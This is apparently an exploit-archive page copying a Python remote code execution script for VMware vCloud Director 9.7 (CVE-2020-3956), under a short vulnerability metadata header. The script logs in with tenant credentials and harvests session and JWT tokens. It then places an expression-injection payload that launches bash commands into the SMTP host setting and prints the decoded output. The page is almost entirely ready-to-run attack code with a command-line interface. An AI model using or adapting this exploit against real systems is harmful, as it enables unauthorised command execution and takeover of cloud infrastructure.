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vCloud Director 9.7.0.15498291 Remote Code Execution

CVE Category Price Severity
CVE-2020-3956 CWE-20 $25,000 Critical
Author Risk Exploitation Type Date
Ronen Shustin Critical Remote 2020-06-03
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020060014

Below is a copy:

vCloud Director 9.7.0.15498291 Remote Code Execution
#!/usr/bin/python
# Exploit Title: vCloud Director - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description: 
#   VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()

def login(url, username, password, verbose):
target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
res = session.get(target_url)
match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
if match:
tenant = match.group(1)
else:
print('[!] can\'t find tenant identifier')
return (None,None,None,None)

if verbose:
print('[*] tenant: %s'%(tenant))

match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
if match:# Cloud Director 9.*
login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
res = session.post(login_url, data={'username':username,'password':password})
if res.status_code == 401:
print('[!] invalid credentials')
return (None,None,None,None)
else:# Cloud Director 10.*
match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
if match:
login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
headers = {
'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
'Accept': 'application/json;version=29.0',
'Content-type': 'application/json;version=29.0'
}
res = session.post(login_url, headers=headers)
if res.status_code == 401:
print('[!] invalid credentials')
return (None,None,None,None)
else:
print('[!] url for login form was not found')
return (None,None,None,None)

cookies = session.cookies.get_dict()
jwt = cookies['vcloud_jwt']
session_id = cookies['vcloud_session_id']

if verbose:
print('[*] jwt token: %s'%(jwt))
print('[*] session_id: %s'%(session_id))

res = session.get(target_url)
match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
if match is None:
print('[!] organization not found')
return (None,None,None,None)
organization = match.group(1)
if verbose:
print('[*] organization name: %s'%(organization))

match = re.search(r'orgId : \'([^\']+)', res.content)
if match is None:
print('[!] orgId not found')
return (None,None,None,None)
org_id = match.group(1)
if verbose:
print('[*] organization identifier: %s'%(org_id))

return (jwt,session_id,organization,org_id)


def exploit(url, username, password, command, verbose):
(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
if jwt is None:
return

headers = {
'Accept': 'application/*+xml;version=29.0',
'Authorization': 'Bearer %s'%jwt,
'x-vcloud-authorization': session_id
}
admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
res = session.get(admin_url, headers=headers)
match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
if match:
version = match.group(1)
if verbose:
print('[*] detected version of Cloud Director: %s'%(version))
else:
version = None
print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')

email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
res = session.put(email_settings_url, data=data, headers=headers)
match = re.search(r'value:\s*\[([^\]]+)\]', res.content)

if verbose:
print('')
try:
print(base64.b64decode(match.group(1)))
except Exception:
print(res.content)


parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()

url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)

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